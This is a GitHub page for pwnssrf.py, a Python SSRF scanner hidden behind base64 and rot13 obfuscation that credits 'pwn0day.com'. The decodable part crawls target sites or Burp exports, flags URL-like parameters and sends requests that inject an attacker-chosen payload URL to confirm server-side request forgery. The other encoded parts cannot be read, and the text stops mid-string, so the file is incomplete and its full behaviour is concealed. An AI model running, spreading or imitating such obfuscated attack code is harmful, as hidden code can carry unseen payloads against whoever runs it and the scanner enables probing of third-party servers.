-
-
Notifications
You must be signed in to change notification settings - Fork 24
/
pwnssrf.py
11 lines (9 loc) · 23.1 KB
/
pwnssrf.py
1
2
3
4
5
6
7
8
9
10
11
# Python code obfuscated by pwn0day.com
import base64, codecs
magic = 'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHF1ZXVlCmZyb20gdGhyZWFkaW5nIGltcG9ydCBUaHJlYWQKZnJvbSBiczQgaW1wb3J0IEJlYXV0aWZ1bFNvdXAKZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybHBhcnNlCmltcG9ydCBzeXMKaW1wb3J0IHJlCmZyb20gYXJncGFyc2UgaW1wb3J0IEFyZ3VtZW50UGFyc2VyCmltcG9ydCByZXF1ZXN0cwppbXBvcnQgYmFzZTY0LCB4bWwuZXRyZWUuRWxlbWVudFRyZWUKaW1wb3J0IHVybGxpYgppbXBvcnQganNvbgoKYmFubmVyPSIiIgrilZTilZDilZfilKwg4pSs4pSM4pSQ4pSM4pWU4pWQ4pWX4pWU4pWQ4pWX4pWm4pWQ4pWX4pWU4pWQ4pWXCuKVoOKVkOKVneKUguKUguKUguKUguKUguKUguKVmuKVkOKVl+KVmuKVkOKVl+KVoOKVpuKVneKVoOKVoyAK4pWpICDilJTilLTilJjilJjilJTilJjilZrilZDilZ3ilZrilZDilZ3ilanilZrilZDilZogIAoiIiIKCnByaW50KGJhbm5lcikKCnBhcnNlciA9IEFyZ3VtZW50UGFyc2VyKCkKcGFyc2VyLmFkZF9hcmd1bWVudCgiLUgiLCAiLS1ob3N0IiwgZGVzdD0iaG9zdCIsIG1ldGF2YXI9IkhPU1QiLCByZXF1aXJlZD1UcnVlKQpwYXJzZXIuYWRkX2FyZ3VtZW50KCItdCIsICItLXRocmVhZHMiLCBkZXN0PSJ0aHJlYWRzIiwgbWV0YXZhcj0iVEhSRUFEUyIpCnBhcnNlci5hZGRfYXJndW1lbnQoIi1jIiwiLS1jb29raWVzIiwgbmFyZ3M9JysnLCBkZXN0PSJjb29raWVzIiwgbWV0YXZhcj0iQ09PS0lFUyIpCnBhcnNlci5hZGRfYXJndW1lbnQoIi12IiwiLS12ZXJib3NlIiwgZGVzdD0idmVyYm9zZSIsIGFjdGlvbj0nc3RvcmVfdHJ1ZScpCnBhcnNlci5hZGRfYXJndW1lbnQoIi1wIiwiLS1wYXlsb2FkIiwgZGVzdD0icGF5bG9hZCIpCnBhcnNlci5hZGRfYXJndW1lbnQoIi1iIiwgIi0tYnVycCIsZGVzdD0iYnVycCIsaGVscD0icHJvdmlkZSBhIGJ1cnAgZmlsZSIsIGFjdGlvbj0ic3RvcmUiKQoKYXJncyA9IHBhcnNlci5wYXJzZV9hcmdzKCkKCnZhbGlkYXRlSG9zdF9yZWdleD0iXihodHRwOlwvXC93d3dcLnxodHRwczpcL1wvd3d3XC58aHR0cDpcL1wvfGh0dHBzOlwvXC8pW2EtejAtOV0rKFtcLVwuXXsxfVthLXowLTldKykqXC5bYS16XXsyLDV9KDpbMC05XXsxLDV9KT8oXC8uKik/JCIKdmFsaWRhdGVIb3N0SXBXaXRoUG9ydF9yZWdleD0iXmh0dHBzPzpcL1wvKChbMC05XXxbMS05XVswLTldfDFbMC05XXsyfXwyWzAtNF1bMC05XXwyNVswLTVdKVwuKXszfShbMC05XXxbMS05XVswLTldfDFbMC05XXsyfXwyWzAtNF1bMC05XXwyNVswLTVdKT86P1swLTldKyQiCgojVmFsaWRhdGluZyBIb3N0IG5hbWUKaWYgbm90KHJlLm1hdGNoKHZhbGlkYXRlSG9zdF9yZWdleCxhcmdzLmhvc3QpIG9yIHJlLm1hdGNoKHZhbGlkYXRlSG9zdElwV2l0aFBvcnRfcmVnZXgsYXJncy5ob3N0KSk6CiAgICBwcmludCAoIlRlcm1pbmF0aW5nLi4uIFBsZWFzZSBlbnRlciBIb3N0IGluIHRoZSBmb3JtYXQgaHR0cDovL2dvb2dsZS5jb20gb3IgaHR0cHM6Ly9nb29nbGUuY29tIG9yIGh0dHA6Ly8xMC4xMC4xMC4xMCBmb3IgaW50ZXJuYWwgaG9zdHMiKQogICAgc3lzLmV4aXQoKQoKaWYgYXJncy5wYXlsb2FkIGFuZCBub3QgcmUubWF0Y2godmFsaWRhdGVIb3N0X3JlZ2V4LGFyZ3MucGF5bG9hZCkgYW5kIG5vdCByZS5tYXRjaCh2YWxpZGF0ZUhvc3RJcFdpdGhQb3J0X3JlZ2V4LGFyZ3MucGF5bG9hZCk6CiAgICAgICAgcHJpbnQgKCJUZXJtaW5hdGluZy4uLiBQbGVhc2UgZW50ZXIgSG9zdCBpbiB0aGUgZm9ybWF0IGh0dHA6Ly9nb29nbGUuY29tIG9yIGh0dHA6Ly8xOTIuMTY4LjEuMTo4MCIpCiAgICAgICAgc3lzLmV4aXQoKQoKI0tlZXBzIGEgcmVjb3JkIG9mIGxpbmtzIHdoaWNoIGFyZSBhbHJlYWR5IHNhdmVkIGFuZCBhcmUgcHJlc2VudCBqdXN0IG9uY2UgaW4gdGhlIHF1ZXVlCmxpbmtzVmlzaXRlZD1zZXQoKQpzc3JmVnVsPXNldCgpCgojVGhyb3cgYXdheSBsaXN0IGp1c3QgdXNlZCBmb3IgaWdub3JpbmcgdW5uZWNlc3NhcnkgY3Jhd2xpbmcgYW5kIGdlbmVyYXRpbmcgbm9pc3kgb3V0cHV0CnRocm93QXdheUxpc3RGb3JSZXN0PXNldCgpCnRocm93QXdheUdldFJlcXM9e30KCiNJZ25vcmUgdGhlIHBhdGggd2hpY2ggd2UgY291bGRuJ3QgYmUgY3Jhd2xlZAppZ25vcmVMaXN0PVsicGRmIiwibWFpbHRvIiwiamF2YXNjcmlwdCJdCgojTGlzdCBjb250YWluaW5nIGtleXdvcmRzIHRvIGxvb2sgZm9yIGluIHBvc3QgcGFyYW0gbmFtZSBhdHRyaWJ1dGVzIGFuZCBpbiBnZXQgcGFyYW1ldGVycwptYXRjaExpc3Q9Iih1cmx8d2VifHNpdGV8dXJpKSIKCiNDb29raWVzIHRvIHNlbmQgYWxvbmcgd2l0aCBlYWNoIHJlcXVlc3RzCmNvb2tpZXNEaWN0PXt9CmlmIGFyZ3MuY29va2llczoKCWZvciBjb29rIGluIGFyZ3MuY29va2llczoKCQljb29raWVzRGljdFtjb29rWzpjb29rLmZpbmQoIj0iKV1dPWNvb2tbY29vay5maW5kKCI9IikrMTpdCgojTWFraW5nIGFuIGV4dGVybmFsIHJlcXVlc3QgdG8gYSBob3N0bmFtZSB0aHJvdWdoIHRoZSBwb3RlbnRpYWwgdnVsbmVyYWJsZSBwYXJhbWV0ZXIgdG8gdmFsaWRhdGUgU1NSRgpkZWYgbWFraW5nRXh0ZXJuYWxSZXF1ZXN0cyhwYXJhbU5hbWUsIHVybCk6CglyZWdleFRvUmVwbGFjZT1wYXJhbU5hbWUrIj0oLio/KSg/OiZ8JCkiCglwYXJhbWV0ZXJWYWx1ZXRvUmVwbGFjZT1yZS5zZWFyY2gocmVnZXhUb1JlcGxhY2UsdXJsKS5ncm91cCgxKQoKCSNBZGRpbmcgcGFyYW1uYW1lICdhcmdzLnBheWxvYWQrIi8iK3BhcmFtTmFtZSwnIGF0IHRoZSBlbmQgb2YgYnVycCBjb2xsYWJvcmF0b3IgdXJsIHRvIGRpZmZlcmVudGlhdGUgd2hpY2ggcGFyYW0gc3VjY2VlZGVkIHRvIG1ha2UgZXh0ZXJuYWwgcmVxdWVzdC4KCWZvcm1pbmdQYXlsb2FkVVJMPXJlLnN1YihwYXJhbWV0ZXJWYWx1ZXRvUmVwbGFjZSxhcmdzLnBheWxvYWQrIi8iK3BhcmFtTmFtZSx1cmwpCglwcmludCAoIlwwMzNbOTFtWytdIE1ha2luZyBleHRlcm5hbCByZXF1ZXN0IHdpdGggdGhlIHBvdGVudGlhbCB2dWxuZXJhYmxlIHVybDoiK2Zvcm1pbmdQYXlsb2FkVVJMKQoJcmVxdWVzdHMuZ2V0KGZvcm1pbmdQYXlsb2FkVVJMKQoKI1RoaXMgY2hlY2tzIGFnYWluc3QgVVJMIGtleXdvcmRzIGluIHBhcmFtIE5BTUUKZGVmIG1hdGNoVVJMS2V5d29yZHNJbk5hbWUoZ2V0T3JGb3JtLHBhcmFtTmFtZSx1cmwpOgoJaWYgYXJncy52ZXJib3NlOgoJCXRlbXA9dXJsKyI6cGFyYW1uYW1lOiIrcGFyYW1OYW1lCgllbHNlOgoJCXRlbXA9cGFyYW1OYW1lCglpZiB0ZW1wIG5vdCBpbiBzc3JmVnVsIGFuZCByZS5zZWFyY2gobWF0Y2hMaXN0LHBhcmFtTmFtZSxyZS5JKToKCQlwcmludCAoIlwwMzNbOTJtWy1dIFBvdGVudGlhbCB2dWxuZXJhYmxlICd7fScgcGFyYW1ldGVyIHt9ICd7fScgYXQgJ3t9JyIuZm9ybWF0KGdldE9yRm9ybSwiTmFtZSIscGFyYW1OYW1lLHVybCkpCgkJc3NyZlZ1bC5hZGQodGVtcCkKCQkjVHJ5aW5nIHRvIG1ha2UgYW4gZXh0ZXJuYWwgcmVxdWVzdCB0byB2YWxpZGF0ZSBwb3RlbnRpYWwgU1NSRiAoT25seSBmb3IgR0VUIHBhcmFtZXRlciBmb3Igbm93KSAJCgkJaWYgYXJncy5wYXlsb2FkIGFuZCBnZXRPckZvcm0gPT0gIkdFVCI6CgkJCW1ha2luZ0V4dGVybmFsUmVxdWVzdHMocGFyYW1OYW1lLHVybCkKCiNUaGlzIGNoZWNrcyBVUkwgcGF0dGVybiBpbiBwYXJhbSBWQUxVRSBhbmQgYWxzbyBpZiBhbiBJUCBpcyBwYXNzZWQgc29tZXdoZXJlIGluIHRoZSB2YWx1ZXMKZGVmIG1hdGNoVVJMUGF0dGVybkluVmFsdWUoZ2V0T3JGb3JtLCBwYXJhbU5hbWUscGFyYW1WYWx1ZXMsdXJsKToKCSNTaW5jZSBhbGwgZmllbGRzIGRpZG4ndCBoYXZlIHBhcmFtTmFtZXMgaGVuY2UgdGhpcyBjb25kaXRpb24KCWlmIGFyZ3MudmVyYm9zZToKCQl0ZW1wPXVybCsiOnBhcmFtbmFtZToiK3BhcmFtVmFsdWVzIGlmIHBhcmFtTmFtZT09IiIgZWxzZSB1cmwrIjpwYXJhbW5hbWU6IitwYXJhbU5hbWUKCWVsc2U6CgkJdGVtcD1wYXJhbVZhbHVlcyBpZiBwYXJhbU5hbWU9PSIiIGVsc2UgcGFyYW1OYW1lCiAgICAgICAgICAgICAgICAKCWlmIHRlbXAgbm90IGluIHNzcmZWdWwgYW5kIChyZS5tYXRjaCgiXihodHRwOlwvXC93d3dcLnxodHRwczpcL1wvd3d3XC58aHR0cDpcL1wvfGh0dHBzOlwvXC8pP1thLXowLTldKyhbXC1cLl17MX1bYS16MC05XSspKlwuW2Etel17Miw1fSg6WzAtOV17MSw1fSk/KFwvLiopPyQiLHBhcmFtVmFsdWVzKSBvciByZS5tYXRjaCgiKCgyNVswLTVdfDJbMC00XVswLTldfFswMV0/WzAtOV1bMC05XT8pKFwufCQpKXs0fSIscGFyYW1WYWx1ZXMpKToKCQlwcmludCAoIlwwMzNbOTJtWy1dIFBvdGVudGlhbCB2dWxuZXJhYmxlICd7fScgcGFyYW1ldG'
love = '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'
god = 'X3VybD0gcmUuZmluZGFsbCgiKFw/fFwmKShbXj1dKylcPShbXiZdKykiLGxpbmtVcmwpCgkJCQlnZXRfcmVxPWxpbmtVcmwucnNwbGl0KCc/JywxKQoJCQkJdXJsPWdldF9yZXFbMF0KCQkJCXBhcmFtZXRlcnM9Z2V0X3JlcVsxXQoKCQkJCWlmIHBvc3QgYW5kIHVybCBub3QgaW4gcG9zdF90aHJvd0F3YXlHZXRSZXFzOgoJCQkJCXBvc3RfdGhyb3dBd2F5R2V0UmVxc1t1cmxdPXBhcmFtZXRlcnMKCQkJCWVsaWYgbm90IHBvc3QgYW5kIHVybCBub3QgaW4gZ2V0X3Rocm93QXdheUdldFJlcXM6CgkJCQkJZ2V0X3Rocm93QXdheUdldFJlcXNbdXJsXT1wYXJhbWV0ZXJzCgkJCQllbHNlOgoJCQkJCWlmIHBvc3Q6CgkJCQkJCWV4aXN0aW5nUGFyYW1zPXBvc3RfdGhyb3dBd2F5R2V0UmVxc1t1cmxdCgkJCQkJZWxzZToKCQkJCQkJZXhpc3RpbmdQYXJhbXM9Z2V0X3Rocm93QXdheUdldFJlcXNbdXJsXQoKCQkJCQlhbGxQYXJhbWV0ZXJFeGlzdHMgPSBGYWxzZQoJCQkJCWZvciBwYXJhbXMgaW4gY2hlY2tpbmdfcGFyYW1zX2Zvcl91cmw6CgkJCQkJCQkjU29tZSBwYXJhbSBuYW1lcyBoYXZlIHNwZWNpYWwgY2hhcnMgd2UgbmVlZCB0byBlc2NhcGUgdGhlbSBhbmQgdGhlbiBzZWFyY2gKCQkJCQkJCWZvcm1pbmdSZWdleD1yZS5lc2NhcGUocGFyYW1zWzFdKQoJCQkJCQkJaWYgcmUuc2VhcmNoKGZvcm1pbmdSZWdleCxleGlzdGluZ1BhcmFtcyxyZS5JKToKCQkJCQkJCQkJYWxsUGFyYW1ldGVyRXhpc3RzPVRydWUKCQkJCQkJCWVsc2U6CgkJCQkJCQkJCWFsbFBhcmFtZXRlckV4aXN0cz1GYWxzZQoJCQkJCWlmIGFsbFBhcmFtZXRlckV4aXN0czoKCQkJCQkJCXFfYnVycC50YXNrX2RvbmUoKQoJCQkJCQkJY29udGludWUKCQkJCQllbHNlOgoJCQkJCQlpZiBwb3N0OgoJCQkJCQkJcG9zdF90aHJvd0F3YXlHZXRSZXFzW3VybF09cGFyYW1ldGVycwoJCQkJCQllbHNlOgoJCQkJCQkJZ2V0X3Rocm93QXdheUdldFJlcXNbdXJsXT1wYXJhbWV0ZXJzCgkJCSNBY3R1YWwgUHJvY2Vzc2luZyBvZiByZXF1ZXN0cyBzdGFydHMsIGp1c3QgY2hlY2tpbmcgZm9yIDIwMCBzdGF0dXMJCQkJCgkJCWlmIGl0ZW0uZmluZCgnc3RhdHVzJykudGV4dD09IjIwMCIgYW5kIGl0ZW0uZmluZCgnbWV0aG9kJykudGV4dD09IlBPU1QiOgoJCQkJI1NwZWNpYWwgY29uZGl0aW9uIGZvciBoYW5kbGluZyBVUkwgcGFyYW1ldGVycyBpbiBwb3N0IHJlcXVlc3QgdG8gc2VuZCB0aGVtIAoJCQkJaWYgIj8iIGluIGxpbmtVcmw6CgkJCQkJY2hlY2tpbmdfcGFyYW1zX2Zvcl91cmw9IHJlLmZpbmRhbGwoIihcP3xcJikoW149XSspXD0oW14mXSspIixsaW5rVXJsKQoKCQkJCQkjQ2hlY2tpbmcgaWYgdGhlcmUgaXMgYSBwYXJhbWF0ZXIgaW4gdGhlIFVSTCAoVGhpcyB3b3VsZCBmaWx0ZXIgcmVzdCBBUElzIGluIHRoZSBmb3JtYXQgL3Rlc3QvMSAvdGVzdC8yKQoJCQkJCWlmIG5vdCBsZW4oY2hlY2tpbmdfcGFyYW1zX2Zvcl91cmwpPT0wOgoJCQkJCQkjR2V0dGluZyB0aGUgcGFyYW0gdmFsdWVzIHBhcmFtc1syXSBhbmQgcGFyYW0gbmFtZSBwYXJhbXNbMV0gYW5kIG1hdGNoaW5nIGFnYWluc3QgcmVnZXgKCQkJCQkJZm9yIHBhcmFtcyBpbiBjaGVja2luZ19wYXJhbXNfZm9yX3VybDoKCQkJCQkJCW1hdGNoVVJMS2V5d29yZHNJbk5hbWUoIlBPU1QiLHBhcmFtc1sxXSxsaW5rVXJsKQoJCQkJCQkJbWF0Y2hVUkxQYXR0ZXJuSW5WYWx1ZSgiUE9TVCIscGFyYW1zWzFdLHBhcmFtc1syXSxsaW5rVXJsKQoKCQkJCXJlc3BvbnNlPWJhc2U2NC5iNjRkZWNvZGUoaXRlbS5maW5kKCdyZXF1ZXN0JykudGV4dCkuZGVjb2RlKCJ1dGY4IikKCQkJCWNvbnRlbnRfdHlwZV9yZWdleD0nXFxyXFxuQ29udGVudC1UeXBlOiguKj8pXFxyXFxuJwoJCQkJaWYgcmUuc2VhcmNoKGNvbnRlbnRfdHlwZV9yZWdleCxyZXNwb25zZSk6CgkJCQkJY29udGVudF90eXBlID0gKHJlLnNlYXJjaChjb250ZW50X3R5cGVfcmVnZXgscmVzcG9uc2UpLmdyb3VwKDEpKQoKCQkJCWlmICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiIGluIGNvbnRlbnRfdHlwZToKCQkJCQlmb3JtX3JlZ2V4PSdcXHJcXG5cXHJcXG4oLiopJwoJCQkJCXJlc3BvbnNlPXVybGxpYi5wYXJzZS51bnF1b3RlKHJlc3BvbnNlKQoJCQkJCWlmIHJlLnNlYXJjaChmb3JtX3JlZ2V4LHJlc3BvbnNlKToKCQkJCQkJZm9ybV9yZXE9cmUuc2VhcmNoKGZvcm1fcmVnZXgscmVzcG9uc2UpLmdyb3VwKDEpCgkJCQkJCWNoZWNraW5nX3BhcmFtc19mb3JfdXJsPSByZS5maW5kYWxsKCIoXCYpPyhbXj1dKylcPShbXiZdKykiLGZvcm1fcmVxKQoJCQkJCQkgI0NoZWNraW5nIGlmIHRoZXJlIGlzIGEgcGFyYW1hdGVyIGluIHRoZSBVUkwgKFRoaXMgd291bGQgZmlsdGVyIHJlc3QgQVBJcyBpbiB0aGUgZm9ybWF0IC90ZXN0LzEgL3Rlc3QvMikKCQkJCQkJaWYgbm90IGxlbihjaGVja2luZ19wYXJhbXNfZm9yX3VybCk9PTA6CgkJCQkJCQkjR2V0dGluZyB0aGUgcGFyYW0gdmFsdWVzIHBhcmFtc1syXSBhbmQgcGFyYW0gbmFtZSBwYXJhbXNbMV0gYW5kIG1hdGNoaW5nIGFnYWluc3QgcmVnZXgKCQkJCQkJCWZvciBwYXJhbXMgaW4gY2hlY2tpbmdfcGFyYW1zX2Zvcl91cmw6CgkJCQkJCQkJI3ByaW50IChwYXJhbXNbMV0pCgkJCQkJCQkJYnVycF9tYXRjaFVSTEtleXdvcmRzSW5OYW1lKCJQT1NUIixwYXJhbXNbMV0sbGlua1VybCkKCQkJCQkJCQlidXJwX21hdGNoVVJMUGF0dGVybkluVmFsdWUoIlBPU1QiLHBhcmFtc1sxXSxwYXJhbXNbMl0sbGlua1VybCkKCQkJCWVsaWYgImpzb24iIGluIGNvbnRlbnRfdHlwZToKCQkJCQkjcHJpbnQgKHVybGxpYi5wYXJzZS51bnF1b3RlKHJlc3BvbnNlKSkKCQkJCQlqc29uX3JlZ2V4PSdcXHJcXG5cXHJcXG4oeygufFxuKSp9KScKCQkJCQlpZiByZS5zZWFyY2goanNvbl9yZWdleCxyZXNwb25zZSk6CgkJCQkJCWpzb25fcmVxPXVybGxpYi5wYXJzZS51bn